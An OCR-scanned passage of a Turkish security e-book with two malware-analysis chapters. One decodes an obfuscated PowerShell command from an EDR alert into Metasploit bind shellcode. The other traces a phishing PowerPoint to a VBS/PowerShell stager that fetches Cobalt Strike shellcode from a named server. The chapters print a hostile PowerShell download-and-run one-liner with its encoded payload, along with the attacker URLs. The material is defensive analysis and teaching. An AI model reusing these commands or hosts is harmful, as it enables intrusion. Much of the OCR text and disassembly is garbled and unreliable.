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Giris

2009 yilinda “Bilgi giictir ve paylasildikca artar” mottosuyla
olusturdugum blogumda, bilgi givenligi farkindaligini arttirma
adina c¢ok sayida teknik yaziya yer vermeye calistim. Yillar icinde
okurlarimdan aldigim olumlu geri doniisler sonucunda, yazilarimi
yillar bazinda e-kitap olarak derlemeye ve siber giivenlik
meraklilari ile paylagmaya karar verdim.

Emek, zaman ve kaynak ayirarak yaptigim aragtirmalar
sonucunda yazdigim bu yazilarin, siber giivenlik alaninda kendini

gelistirmek isteyenler icin faydali olmas: dileklerimle...
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1. Zararh Powershell

Analizi

Sysmon gibi tcretsiz, FireEye HX, Carbon Black Response gibi
ticari EDR (endpoint detection & response) giivenlik
teknolojilerine sahip olan kurumlarin yakindan izledigi alarmlarin
basinda, hemen hemen her tehdit raporunda, arastirma yazisinda
adinin siklikla gectigi Powershell oldugunu az ¢ok tahmin
edebilirsiniz. Invoke-Obfuscation gibi yardimci araglar nedeniyle
hedef isletim sisteminde Powershell kullanimin tespit edilmesinin
cok daha zorlagtigt ginimiizde, EDR teknolojilerine olan
bagimlilik ve Powershell kayitlarina olan ihtiya¢, kurumlar icin
elzem bir hale gelmistir.

Her giivenlik teknolojisinde oldugu gibi EDR teknolojisinde de
alarmlar1 analiz edebilecek yetkinlikte insan kaynagi olmadan bu
teknolojiye sahip olmak, kurumlar i¢in 6lii bir yatirim olmaktan
Oteye gidememektedir. Analistler sayesinde komut satirinda tespit
edilen bir alarmin ginin sonunda hedef sistemin belleginde
calistirdig1 kabukkodunun (shellcode) tiiriine, baglant: noktasina

kadar 6nemli bilgilere erismek miimkiin olabilmektedir.


https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://www.fireeye.com/solutions/hx-endpoint-security-products.html
https://www.carbonblack.com/products/cb-response/
https://www.mertsarica.com/komut-satirinin-gucu-adina/
https://docs.microsoft.com/en-us/powershell/
https://github.com/danielbohannon/Invoke-Obfuscation
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
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Ornegin kurumunuzdaki EDR sisteminiz stipheli bir Powershell
kullanimu ile ilgili olarak agsagidaki sekilde bir alarm trettiginde
Siber Guivenlik Merkezi'nizdeki analistlerin en kisa siirede bu
alarmi analiz etmek i¢in ise koyulmalar1 gerekmektedir.

"event values": {
"processEvent/eventType": "start",
"processEvent/process": "powershell.exe",

"processEvent/processPath":
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\vl.0\\powes:
"processEvent/processCmdLine":

"\"powershell.exe\" -noni -nop -w hidden -c

& ([scriptblock]::create ( (New-Object

I0.StreamReader (New-Object

IO.Compression.GzipStream( (New-Object
I0.MemoryStream(, [Convert]: :FromBase64String ('H4sIAL3x
10BD+3JX2P0QrpCS61JfChbtVKK53DS01LWmgglHLoS5CZOMDgxdZZ Ve
O+pJgSNFK7HH1sAxINLD3NOPJjmChtLOVz402RatVileYxrPz82YgB]
OoBZbrZtYm901GMU+91aj3s4i6XsrBiVmvrHH60+Pa7Nyu3HFLNEUS]
KY/
iBAfkGnZ7IjaRc+4ngg45wEcOmYpYgWwy980ipsKwL7iHfF+QBGzLY
vn/3/11Q8EyW3/
EMo6PpfkwgNg3PE703+6xUDcWGc7DkYguvpaFIiT5Tphni091MKW2Y
maKWU+EcgDohKICjjUvw/

mwIWmWr FNIgDp8K4C8AGO1RTWUUK3xenZOxipTYaTxFD6KZSLZygOv
AZkf20RxIkXgAXGQ/
NBZEY91i1ImFhKF3gE3PrOLA4WHOTiSZmjMYh7PQETMBMhoA Mz kT iD(
wzYvZD+0/
kvKv8QSVOONAytgqIGpuZWZtEvLXgb4Apc9CkICAh3BIXMn5FPDKQLY
ZVD7tzN26am5219APJgq0gCE8D57b2sUN74+bArJ7gXqud9sbm2gw?2]
kx4gOX+Xwtk/p9peK6J7T+abioVM7cO9wddje/
dSs118DYTYd]jGI85wuHt2D0ImyfePIC9etfRCMGEBgiZYxyafHx10,
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wYVNx17foRde6Hz7Yjc72NL3xy2vgQ8QrE1sIVeUHX]5gtjUUyxr
9upgb6P7+HGEHQ0oLhyj8ShnBvVTblaheZb3TSqkOHPp9Xkg62W7WI
6vaOWENYcf/1/Qep77Th9WEQrBg7PNINfvIxC/
B+at5jzGVYOhAX2DkcDWImX6uixeX
954T4D3In+y£000gj6/
hUv8bAKByiaAJAAA="))), [IO.Compression.CompressionMoc
"processEvent/parentProcessPath":
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\vl.0\\por
"processEvent/parentProcess":
"powershell.exe",
}

Alarmda dikkat c¢eken kisimlarin baginda GzipStream,
FromBase64String, 10.MemoryStream geldigini gorebilir ve
buradan yola c¢ikarak GZIP ile paketlenip, Base64 ile gizlenmig
bu verinin bellekte bir islem gerceklestirdigi varsayiminda
bulunabilirsiniz.

Kali tizerinde bulunan echo, base64, xxd, gunzip komut satir1

araclarindan faydalanarak kisa siirede gizlenmis bu veriyi

asagidaki §ekilde ¢ozebilirsiniz.
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https://msdn.microsoft.com/en-us/library/system.io.memorystream(v=vs.110).aspx
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Ortaya cikan Powershell betiginin bellekten .Net API yardimi ile
Windows API fonksiyonlar1 cagirarak 6zetle bellekte yer acip,
acilmis bellege, FromBase64String() fonksiyonu icinde yer alan
kod parcasini kopyaladiktan sonra yeni bir is parcacigi (thread)
olusturup, bu kod parcasini ¢aligtirdigini gérebilirsiniz.

FromBase64String() fonksiyonu icinde yer alan kod parcasini
cozmek icin ise yine echo, base64, xxd komutlarindan
faydalanabilirsiniz. Ancak bu defa elinizde bellekten caligmak
tizere hazirlanmig bir kabukkodu oldugu igin ilave olarak
shellcode2exe ve Radare2 araglarindan da faydalanmaniz
gerekmektedir.


https://github.com/MarioVilas/shellcode_tools/blob/master/shellcode2exe.py
https://rada.re/r/
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root@ubuntu:—# Pyt
shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

usage:

shellcodgzexe. py payload.bin [payload. exe]

-arch=1388| powerpc|sparc|arm]

—us—wwr\duwsﬁ]hnux|Fraebsd|upanbsd|szﬂar‘ws]
~c Allow for ascii shellcode as a_cmd_line parameter]
s allows for ascii shellcode in file]
~d Allows for unicode shellcode as a cmd line parameter]
u allows for unicode shellcode in fiTe]

options
-] he show this help message and exit
Target archicecture [default: 1386)

0s, —— Target operating system [defaul ndows ]
-c, -‘asciicmd enable ascii entry in command Tihe (e e
\X90\x90
-5, —-asciifile enable ascii entry in input file
-d, --unicodecmd enable unicode entry in command line (e.g
'%u9090')
—-unicodefile enable unicode entry in input file
rnot@uhunt

root@ubunt; hon shellcodezexe. py -0 Tinux payloadz. bin shellcode
SheTicode 16 exolitabie converte
By Wario vilas (milas at gmail dot com

Reading raw shellcode from file payload2.bin
Generating executable Tile
Writing T1le shellcode

root@ubuntu:~#

root@ubuntu:~# file shellcode

shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (5Y5V), statically linked, corrupted section header size
root@ubuntu:—#

root@ubuntu:~#

Radare2 ile shellcode dosyasini analiz ettiginizde ise aslinda bunun
Metasploitin 4444. baglanti noktasinda dinleyen bir bind
kabukkodu oldugunu gérebilirsiniz.


https://metasploit.com/
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm
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rootdubunTu T —# i .
warning: read str “at o0x20
'n'armgg initialize strings table
[ox08 305-1] |
:-- #ntryl:
00804 B0 fl: cld
Ox0804 8055 2882000000 call OxBo4B0dc
O:Mthlsadc(] entryd
Ox0804805a n-ushaﬂ
00804 805k ens v ebp, esp
00804 B0 5d 31c0 mr eax, eax
00804 B05F B4ED5030 mov edx, fs:ea:t-mxio:l
008048063 8bS20c mov ed:-:. edu+iuc]
Ou804 8066 Eb5214 mov eds, [edx+Quls
Lmemeex Q08048069 Eb7228 mowv Isi edx+0x28
0x0804 E0GE ofbr4a26 movEx ecx, word [edx+0x26]
Ox0804 8070 31FF xor edi, 1
. —-= Ow08048072 ac Tlodsh
| Ox0804807 3 3chl cmp al, Ox6l
| y=c OxOB048075 T2 j1 0x8048079
Il Ox0DBQ4E077 2c20 sub al, Ox20
| " -» Ox0B04B079 clefod ror edi, Oxd
| Ooe0804 807 0Lc? add edi, eax
Tmme Ow0804807e elf2 1 0x108048072
Qw804 2080 52 push edx
00804 8081 57 push edi
00804 8082 8b5210 mov eds, [edx+0xl0
00804 8085 Bbdaic mov ecx, |edx+Ox3c
Oe0804 8088 8b4cl178 mov ecx, [ecx+edxs0x78]
Ox0804808c @348 jecxz OxB0480d6
0x0B04E08e 01d1 add ecx, edx
Ooe0804 £090 51 push ecx
Ox0804 8091 8b5920 mov ebx, [ecx+0x20]
Oe804 8094 01d3 add ebx, edx
Ox0804 8096 8b4918 mov ecx, [ecx+Oxl8]
. ====> Ox0B04E099 eila jecxz OxE0480d5
| 0x0804 809b 49 dec ecx
| Ooe0804 809C 8b3dEb mov esi, [ebx+ecx®4]
| 00804 809F 01dé add esi, edx
| OuQ804 E0al ff xor edi, edi
| . ===> 008048043 ac Todsb
11 00804 B0ad clcfod ror edi, Oxd
| Ox0804 80a7 01c? a.dd edi ea:
1 Ox080480a9 38e0
| "m— 00804 80ab 756 jnz nxmamao.!
| 0x080480ad 037df8 add edi ebp-0x8]
| 0x0804 E0BO 3b7d2a cmp e ehg{-ﬂiZl]
Tmmmme 008045003 754 jnz Dxl.l.‘r
0804 8005 55 POp eax
Ox0804 8006 8b5824 mov ebx, [eax+dx24]
Ox0B04 8009 01d3 add ebx, edx
0x0804 E0bb 66Eb0cdb mov cx, [ebxsecx*2
00804 B0bF 8b581c mov ebx, [eax+mtlc
00804 80c 2 01d3 add ebx,
Ou0B0480C  BBO4ED mov eax, EGDMH:N]
Ox0804 80T 01do add eax, edx
0x0804 E0CY B9442424 mov [esmuxz-!]‘ eax
Ox0804 80cd 5b pop ebx
804 80ce b1 pop ebx
0804 B0c 61 popad
Ox0804 OG0 39 pPop SCx
00804 E0d1 5a pop edx
0804 0d2 51 sh ecx
0804 8043 ffed ?”-p eax
00804 80d5 5 pop edi
w0804 E0dE 5f pop edi
| 00804 B0dT 5a pop edx
| Oe0804 80dE 8b12 mov edx, |!.t.al:hc]
Tmmmmme Ooc080480da ebéd jop Ox108048069
Ox0804 80de 5d pop ebp
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Sonuca gelecek olursak, bu ornekten yola cikarak ginimizde
gerceklestirilen ileri seviye siber saldirilarla miicadelede EDR gibi
teknolojilerden kurumlarin tam anlamiyla faydalanabilmeleri i¢in
alarmlar1 analiz edebilecek yetkin insan kaynagina da bir o kadar
ihtiyaclart bulunmaktadir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler
dilerim.

Not:
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Bu yazi1 ayrica Pi Hediyem Var #14 oyununun ¢6ziim yolunu da

icermektedir.


https://www.mertsarica.com/pi-hediyem-var-14/

2. Oniim Arkam
Sagim Solum Cobalt
Strike

Son vyillarda Ozellikle finansal kurumlara gerceklestirilen
hedeflenmis siber saldirilara (APT) bakildiginda, sizma testi
uzmanlarinin da yakindan bildigi Cobalt Strike aracinin
kullanildigint gorebilirsiniz. Hatta Rusya’nin merkez bankasi
yetkililerine kulak verirseniz, 2017 yilinda bu aragla 240 bankaya
yapilan siber saldirilar sonucunda 17 milyon dolarin ¢alindigini
Ogrenebilirsiniz.  Siber  saldirganlarin  taktik, teknik ve
prosediirlerinin basarili bir sekilde simiilasyonunu yapmaya
imkan tamiyan, ozellikle gizli haberlesme 6zelligi ile istismar
sonrasi (post exploitation) kullanilan bir ara¢ olan Cobalt Strike,
ozellikle giivenlik teknolojileri ve insan kaynagi yatirimdan
yoksun kurumlara kars: kullanildiginda ciddi derecede sikintilara
yol acabilmektedir.

Bu hikaye 2018 yilinin Nisan ayinda, finansal kurumlara 6deme

sistemleri ve ¢6ziimleri sunan bir firmanin calisaninin kurumsal e-

11


https://www.cobaltstrike.com/
https://www.ft.com/content/b813ab48-1b04-11e8-aaca-4574d7dabfb6
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posta adresinden, bir bankanin ¢alisanina e-posta génderilmesiyle
baslar. E-postanin ekinde yer alan Powerpoint sunum dosyasina
bakildiginda firma tarafindan hazirlanmig masum bir dosya gibi
goriinse de, giivenlik sistemlerinde alarm fiiretip engellenmesi
sebebiyle siipheleri iizerine ¢eker ve ardindan bankanin giivenlik
analistleri tarafindan analiz edilmeye baslanir.

Powerpoint dosyasi agildiginda ortaya cikan uyari mesaji,
dosyanin igeriginde baglantilar oldugunu isaret eder. Baglantilara
detayli olarak bakildiginda, uyar1 mesajinda ¢ikan “Update Links”
butonuna basildiginda Litvanya’daki bir sunucuya ait olan
http://213[.]252.244.174/download/ web adresinden file.ext

dosyasinin indirilip ¢alistirilacag: anlasilir.

Inset  Design  Transitons  Amimations  SiideShow  Review  View Tellmewhatyou wantto do. Signin

Cipboard Sides Font Paragraph

Editing S

Microsot PomerPoint Securty Notice i ==

atest information.
+1f you don't update the links, PowerPoint wil use the previous
information.

canbe used to access

mation without your permission and possibly perform other

ful adtions. Do nat update the links it you do not trust the
tation,

Upastetinis )
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Links -2 o]
Links Type. Update Close
Ritp://215.252.244 174/ download/fle.ext _ Presentation Automatic

Source: hitp://213.252.244.173/downloadTle.ext
Tpe:  Presentation
Automatic Update

2 Manage Presentation

Manage
Presentation ~

Bu baglantinin

7] There are no unsaved changes.

Cheek in, check out, and recover unsaved changes.

sunum dosyasinin

Properties -

Size 413M8

Slides 30

Hidden slides 0

Title PowerDoint Presentation
Tags Add a tag

Categories Add a category

Related Dates
Last Modified  03,4.201809:26
Created 15.09.201410:14

Last Printed

Related People
Author

Add an author
Last Modified By

Windows User
Related Documents
Open File Location

[ Edit Links to Files
Show All Properties

neresinde
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oldugunun

Ogrenilmesi i¢in ise sunum.pptx dosyasi 7-Zip araci ile acilip
ortaya cikan klasorlerde 213[.]252.244.174 adresi aratildiginda bu
adresin sunum\ppt\slides\_rels\slide29.xml.rels dosyasi icinde,

29. slaytta oldugu anlagilir. 29. slayta dikkatlice bakildiginda ise

baglantinin sag alt koseye gizlendigi goriliir.

Haberler

“Festy Unveils Digital Currency Payments Wristband”

Amag:
kullanarak yapmak

Kurumlar: Festy

Festivalde 6demeleri Dash dijital para birimini



https://www.7-zip.org/
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Haberler

“Festy Unveils Digital Currency Payments Wristband”

Amag: Festivalde ddemeleri Dash dijital para birimini
kullanarak yapmak

Kurumlar: Festy

\ Loading...Please wait

file.ext dosyasmun icerigine bakildiginda, VBS (Visual Basic
Script) betigi icerisinde ¢agrilan, base64 ile gizlenmis (encode) bir
powershell betigi oldugu goriiliir. Bu betik ¢oziilditkten (decode)
sonra ise bu defa bellekte bir alana enjekte edildikten sonra
CreateThread APIsi ile caligtirilan, base64 ile gizlenmis bagka
bir kod ortaya ¢ikar. Cogunlukla son adimda ortaya ¢ikan bu kod
parcasi bir kabukkodu olur. (shellcode)

Hiie =t @ |EERE]

const impersonavion = 3
Const HIDDEN_WINDOW = 12

en -encodedcommand

ATS

JBCADEASQBL A HEANGEL

TASMBZAFL
13Gw2

AgBDAFIAZQB1.

aWBVAF

TARGBE;
\B6AE: A

TANQAVAGE

1a8ca -
I Solue BC iccine:) imnartant meccansc
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Kabukkodu xxd araci ile analiz edilebilir hale cevrildikten sonra
Radare2‘nin rabin2 aract ile karakter dizilerine (strings)
bakildiginda bunun http(s)://213[.]252.244.174/QYKG adresi ile
haberlesen bir HTTP(S) kabukkodu olabilecegi anlagilir.

A e s A N M o AT RS e S
R e e L e e
[ R e e R R e A T e

Footbubntar s Fie shellcose-ceel-bi
ettt o
=


https://linux.die.net/man/1/xxd
https://rada.re/r/
https://radare.gitbooks.io/radare2book/content/tools/rabin2/intro.html
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50 (comparible: WSIE 9.0; Winows NT 6.1; WOWGd: Trident/s.O; BOTES; ENUSKSE)

Kabukkodunu dinamik olarak analiz etmeden  Once
213.252.244.174 IP adresi c¢evrimdisi oldugu icin daha once
dinamik sistem analizi esnasinda Fiddler araci ile elde edilen,
https://213[.]252.244.174/QYKG adresinden indirilen ancak
okunakli olmayan pakedin (2. stage payload), Charles Proxy arac1
ile test.com adresine yonlendirilmesi ve daha 6nce elde edilen
paketi diskten okuyup istekte bulunan herhangi bir programa
gondermesi saglanir.


https://www.telerik.com/fiddler
https://www.charlesproxy.com/
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File Edit Rules Tools

View Help GET /book

() #p Replay %~ b Go | Stream §ifi Decode

El2 Geokdge
Keep: Al sessions + @ Any Process 34 Find [ Save | 18] (§) & Browse ~ i Clear Cache T TextWizard | [ Tearoff 5
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0 HTTPS 213.252.244.174 Jen_USfal.is 0 application/... powershel:2500 won | |
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0 HTTPS 213.252.24.174 Jen_USfal.js o application/... powershel:2300 20 200 0.0 [
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Telerik Fiddler Options

| General I HTTPS I Connections | Gateway |nppearance I Extensions I Performance I Tools |

By default, Fiddler "chains"to the system's default proxy (Client-= Fiddler -> Gateway -> Web).
These settings allowyou to override that behavior.

71 Use System Proxy (recommended)

() Automatically Detect Proxy using WPAD

) Manual Proxy Configuration:

127.0.0.1:3889

Bypass list: <local =;*. extranet.example.com;

() No Proxy

Show Current Gateway Info

Note: Changes may nottake effect until Fiddleris restarted.

Help

[ safely Remave Hardware and Eject Media |

= j0; Wind
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File Edit View Proxy [Tools) Window Help
\ E - No Caching... Cirl+Alt+N
Block Cookies.. Cirl+AltC
Structure
¥ | Map Remote... Cirl+Alt=M
| v | MapLocal.. Cirl+Alt+L
| Rewrite. Ctrl+Alt+ R
1 Black List. Cirl+ Alt+B
White List... Cirl+ Alt=W
DNS Spacfing... Cirl+Alt+D |
Mirror... Cirl+Alte] |
i
Auto Save... Cirl+Alt-A i
Client Process.
3 Compose CirleM
Compose New, Cirl+Shift«M
Repeat Ctrl-ShiftsR
Repeat Advanced...
Validate |
2 Publish Gist |
3 Import/Export Settings.
i I
i Profiles..
|l Publish Gist Settings..
ﬂmmmhwﬂmmxvm Map Local | | Map Remote | | Reconding |
- -
tack | =3SEH | Jo) Saipt | %] symbols | <> Source | /' References | $# Threads | £ Snowman | #iHandes | ¥ Trace
Charles 4.14 - Session 1 = &) =
File Edit View Proxy Tools Window Help 1
3
X E ‘e @ 7 (] . editMapping e ]
]
Structure | Sequence M Pt 1
Protocok: | - )
. Host  |213.252284174 ]
ol 3
< Maj Port: 3
2 E— 1
j Path: | |
e ] \ :
d| «
L | (
Map To (
Protocol; https  ~ h
Host  wwwitest.com |
Port:
Path: | |
‘ ]
ms | i
r
r
Preserve Host header 1
o k)
To map fiom 2 path and fts subdirectories you must end the path with 2 % To map an E
| | entire hast leave the path blank. — o
F !
>
ok | [ canced | [ Help | 9
i
1]
s
| i
o f
E | p———— e Loca ] g W [coang




Oniim Arkam Sagim Solum Cobalt Strike

19

. Charles 414 - Session 1 *
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0 HITPS  213.252.2%4.174 Jen US/alss 0 application/... powershel:2900 2 Bt 4
oo HITP Tumnelto 213.252.244,174:443 613 powershel:2900 £ 55 0B EB
0 HTITPS  213.252.244.174 Jen_USfals 0 appiicationf... powershell2900 L em e B
0 [oxa] Readonly
1/186 https://213.252.244. 174fen_USfall.js | Speakers: 67% L

Kabukkodunu dinamik olarak analiz etmek icin Code Cave


https://www.cobaltstrike.com/help-malleable-c2
https://en.wikipedia.org/wiki/Code_cave
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yonteminden faydalanilarak ilgili kabukkodu (shellcode-ctek.bin),
calc.exe programinin son boliimiindeki bos alanlara (000000000...)
yerlestirilir ve bu kod parcasina kesme noktasi (breakpoint)
koyularak program akisimin kabukkodundan devam etmesi
(CreateThread) saglanarak, kod pargas: analiz edilmeye caligilir.

8 <3209 -

@i a9 tuBo9EsPLis LR
Graph | L7log | [[Notes | © preskoonts | MM MemoryMep | [ Calstack | SuSEn | Iojsarpt | @) symbols | <> Seurce | SO References | W Tilek
3 2

ez calcexe

6: arpl word ptr ds:[esi],bp #
v 70 64 jo calc.B8A3D03 HidesCRIL
&2 00 bound eax,qword 5t [eax] 00000000 I
35 00 230 byte por G fean oa ax  oocooono
00 00 3dd byce per 2
00N i byre bt o £ox  2£300000
00 00 a yte ptr 13 EDX 0021E1C8
T £ T = £8P ooiarsoc
00 00 3ad byte per o Esp  oo13r8ED
00 00 2dd byte per a ESI  FEFFREFE
a0 00 add byte per £ I 00000000
00 00 3dd byte prr A
oosazces 00 00 a te ptr »al EIP  77DDOEDS ntd11.77DDOEDS
o08A3CES 00 00 add byte per s
o08A3CE? 00 00 add byte per Ja
Obsnscas 38 0 25 byee per il i cTne
o0sazces 00 00 2dd byte per al LEL e
008A3CEBD 00 00 ac te ptr »a] 3 =
F 00 00 ac te ptr ,al LEO TFO IF1
o8A3cCT 20 00 3aa byte per A
oosazcca 20 00 200 byte per A LastError 0000000D (ERROR_SUCCESS)
DOBA3CCS 00 00 a Te ptr ,al LastStatus 00000000 (STATUS_SUCCESS)
. ccr 20 00 2dd byte prr Ja
o ooaazcca 00 00 2dd byte per al s 0028 FS 0053
o| cosazces 00 00 add byte ptr " S EEe
. cco 00 00 2dd byte prr i ek i
. ccr 20 00 dd byte prr o
5 0000 2 reanrn iz X87r0 00000000000000000000 STO EMPty 0.00
e 0r00 a bycesuinads femdin « | x87r1 00000000000000000000 5T3 EMPTy 0.00
gaxes L sooe = -
Byte pir [em Default (stdcal) v |5 1 [ unlocked
al=0 1: [espr4]

[esp+E] 00000000
3: [espiC] 7EFDECDQ
4: [esprid] 0013FACS

. TeXT:00BAICA7 €alC.exe:$53CAT #530A7

@oump 1 | gpump2 | wioump3 [ Whoumps | @oumes | @ watch |
Address | ex Ascrz

008AICA7 |00 00 0D 00|00 DO 0O 0|00 00 00 00 00 0O
008A3CE7 |00 00 00 0000 00 00 00(00 00 00 00|00 00 00 00
008A3CC7 |11 00 00 0000 00 00 00|00 00 00 00|00 00 00 00
00 00 00 00|00 D0 00 00(00 0O 00
008A3CE7 |00 00 00 0000 DO 0O 00(00 00 00 00|00 0O 0O 00
00BA3CF7 |00 00 00 0000 0O 00 00|00 00 00 00|00 00 00 00
008A3007 |00 00 00 0000 DO 0O 00|00 00 00 D000 0O 0O 00
00 00 00 00|00 D0 00 00[00 00 00
008A3D27 |00 00 00 0000 00 0O 00(00 00 00 00|00 00 00 00
008A3D37 |00 00 00 0000 DO 00 0|00 00 00 00|00 00 00 00
00 00 00 00|00 00 00 00|00 00 00 00 00 00

< 0 ] S P n ] v
Command Default

| o0 [calc.exe: 008A3CC7 -> DOBASCCY (0x0000000 1 bytes)

7t
return to ntdl1.77PBOFC? from ntd11.770D(

“\Users\Mer. W HexWorksho... | B & @ T 4 W % 10
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l'r_udbg - File: calc.exe - PID: 518 - Module: calcexe - Thread: Main Thread

gns _Favourtes O

Help  Dec262017

BOm 4 tAlwE fallleesis mbll

Bou | B | \_dLog | \_,aNnhes | @ Breakponts | 8 memory Mep | () call tack | =nsen | lofsait | @ symbois | <> source | /2 References | i
€ arp1 worg ptr ds:[e=11,5p T
o e o calc.8A3bi tiide, EEY
62 00 bound Ed)(yﬂwﬂf‘d eax]
00 00 add byte per £ oo00008g
00 00 add byte prr d B codooodo
00 00 add byte ptr d
255 b Ha e DX ooz1eics
00 00 add byte prr o EBP  0013F90C
00 00 3dd byte prr o s o0137sED
0000 id bea nee o ESI  FFFFFFFE
2992 | [s] Fill data at 00BA3CCT ) or  oooooooo
29 20 €I  770D0EDS  ntdl1.77DDDEDS
ASCII:
00 00 OOV EFLAGS 00000246
0000 || fom o wag Aot T Ruivke gygris ses seaina e 1A 0
00 00 QEo SEo0 DF o
00 00 UNICODE: CEO TFO IF1
00 00 [r==%m —w=Ee = oromoe
20 00 nEERFE Agkn ® - smmenmem- oromoeoie] |l ascerror oooooooo (earor_success)
00 00 LastStatus DO00000D (STATUS_ SUCCESS)
00 00 _ G5 0028 FS 0053
g =N Bubniidiasrrmascsnsassre M 6od oo e
i €5 0023 S5 0028
00 00 Hex
00 00
X87r0 0000000000000000D00D STO Empty 0.00)
00 00 C £9 89 00 00 00 €0 89 E5 31 D2 G4 88 52 30 83 -
00 00 52 0C 88 52 1% 88 72 28 OF B7 4A 26 31 FF 31 €0 SRR e IR TR ek
I AC 3C 61 7C 02 2C 20 €1 CF 1 C7 E2 FO 52 57 i T
8E 52 10 85 42 3C 01 DO & 40 78 85 CO 74 4a 01
byte pt DO 50 9B 45 18 8 58 20 OL D3 £2 3 49 8B 34 88 pefoult (sidal). |5 %/ trodeed
al=o 6 31 FF 31 CO AC C1 CF 0D 01 C7 38 £0 75 F4 ST peaTmouonn
03 7D Fs 38 7D 24 75 E2 56 88 58 24 01 D3 66 &8
. TeXT:00BAICA7 CalC.exe: $53CAT #530A7 e T B e h B R e e [esp+C]_7EFBEODD
3 [espr10] O013FACS
=
$%0ump1 | Ypump2 | @Dump3 | W4 Dump 4 &
Address Hex o
00SAIDE7 |00 00 00 00]00 00 0O 00]00 00 00 00 - TR
008A3ED7 |00 00 00 00(00 00 00 00|00 60 DO 00|00 00 00 00 BBeE e
00sa3E17 |00 00 0O 00(00 0O 0O 00(00 0O 0O 00|00 0O 00 00 1 ponEsd13e
00sa3t27 |00 00 0O 00|00 0D DO 00(00 0O GO 00|00 0O 0O 0O i B L i enita i
008A3E37 |00 00 0O 00|00 0O 0O 00(00 00 0O 00|00 00 00 00 pe LD COLa A pOL e To ol
008A3E47 DO 00 0O 00(00 0D 0O 0D(00 0O 0O 00|00 0D 0O 00 L s :
00sazEs7 |00 00 00 00[00 0O 0O 00[00 0O 0O 00|00 0O 0O 00 ol CHEE Bsood L
DOSA3EET 00 00 00 00[00 0O 00 00[00 OO OO 00(00 0O 0O 00 T DliF? u
00BA3E7T 00 00 00 00|00 00 00 00|00 OO 00 00(00 0O 00 00 e 3
gl o e o e (3] S5E3F37 808 return to nean1.rrmsorcs from ntaTt. 7700
00sA3ES7 |00 00 00 00|00 0D 00 00|00 00 0O 00|00 00 0O 00 I i coxzsaize oo -
« i ] v ] v

Command:

[ Tnitialized

Fie Vew Debug Trace Plgns Favourites Optons Hep Dec26 2017

cHE 0 (e taBPEelhi a4l il

By | Boepn | Liog |
568€3CAD

Notes | ® Breakpomts | 8 emory Mep | () Calltack | =5 | lo/saipt | @ symbos | < Sowrce | 0 References | @ Tileds

TC
E8 85 00 00 O (31] calc.86303C 5 »
8 e [# Binary =
s & fov 265, =sp M y
31 D2 xor eduizdx - 1 ooy o
54 88 52 30 |mov cdx,dword ptr
58 52 o oy S uerd oer 8| 7 mestore selecson SRR B
5 52 14 nov axiawera bt ool @ y
8B 72 28 mov_esi, dwor ddﬂw' é HREELLE ?g
OF 57 3a 26 |movax eix,word per d| g »
31 FF Xor edi, ed1 “;“ PR 00
31 co xor eax,eax Followin Memory Mz
x Tods! L e bs  ntd11.7700080s
cnp a & i »
v 7€ 02 i1t heacns Pyl e
2C 20 sub al,20
GG |y as 2 o G e
o1 cr add edi
E2 FO Toop ca1c seacce @ tep onmemonic Ot IF 1
52 ush cd
=2 Sin {2 Show mnemanic brief clsshiftsFL  Looon000 (ERROR_SUCCESS)
55 52 10 Bt warcl ot 0000000 (STATUS_SUCCESS)
8B 42 3C mg\é eax, d:mr"d ptr ds| == FrIETTEL it
01 00 add cax, cdx » fooss
55 40 78 mov Saxiawora per s Gt 0028
8 co test eax, & » |ooze
~ 74 4A je (a](.BS!D!B T steca
o100 ceae &/ Comment B 500000000000000 STO EmpTy 0.00
88 43 18 mov acx.dword Er ds| 8 Toggie Bookmark Ccul4D 2000000000000 511 EWEILY ;0. 901 |
: =
5 +]'5 2 [ tnkocked
/' Analysis 3 ]
000000
.« text:00863CAD calc.exe:$53CAD #530AD El Eokhial Sk b Hod e EFDE00DO
. 025698
% Assemble Space
Woump 1 | glioump2 | @houmps | @houmps | @oumps | @wathi [| & pathes ctise =
Address | Hex B ) | Yoo i+
00863C3D Z3 72 65 76(00 90 90 00[00 00 00 9D |97 E7 4C 00 (g -
00863C4D | D0 00 0D 0Z|00 0D DO 21|00 0O 0O 80|5C 05 00 80
00363C5D |30 0 0D 00|00 0D DO 90(97 E7 4C 33|02 7E 19 0A Set New Origh Here cul+®
00863CED DO 00 00 ©4(00 0D 00 7C(3C 05 00 7C|30 0 00 7E
00363C7D |15 03 BB 52|53 44 53 45|25 1D 97 58|E5 8C 43 84 |2 CresteNewThread Here S
00s63CED |76 43 A9 DE|33 Ce 8E 02|00 00 00 63|61 & 63 2&
S [ ES R R R AR EEEE 8 won , 7
00863CAD  ECIES 59 00|00 00 60 89E5 31 D2 64(85 52 30 &8 [
00863CED | SZ OC OF 52|14 SB 72 28|OF &7 4A 26|31 P 31 CO 3
00s63CCD | AC 3C 61 7C|02 2C 20 Ci|CF OD 01 C7|E2 FO 52 57 [51 Search for i pil usne0ckaironterd il Zanod
00863CDD | 8E 52 10 88|42 3€ 01 DO|8E 40 78 §5|C0 74 4A 01 " ¢
o = ] Find references to ,
Command: @ canalyzer 3 Defauit
| Paused [colciexe: 00863CAD -> 008S3CAD (000000001 bytes) [{ Vhiwore Tools [gaine: 0:00:08:55

Bellekte 0265000 adresine agilan DLL dosyasinin karakter dizileri
(strings) incelenip, arastirildiginda (#1) ve ayrica ortaya cikan API


https://twitter.com/vk_intel/status/934296300488679424?lang=en
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adresleri de Google arama motoru iizerinde arastirildiginda bu
DLL dosyasinin CobaltStrike aracina ve kabukkodunun da bu
aracta  kullanillan  Metasploit’in  Block  Reverse  Http(s)
kabukkoduna ait oldugu oldugu anlagilir.

D Hex Woriso \Desktopicae 02650000 bin] T Lo @) )
BN Pl oo Db Options = TooksPug-sss Wirdowss Help: i
FSHDB |« AR |20 AaBS (o
2B E YR | @8 | [y -

EE R A
00020304 73 70 72 6 67 00 00 00 63 6F
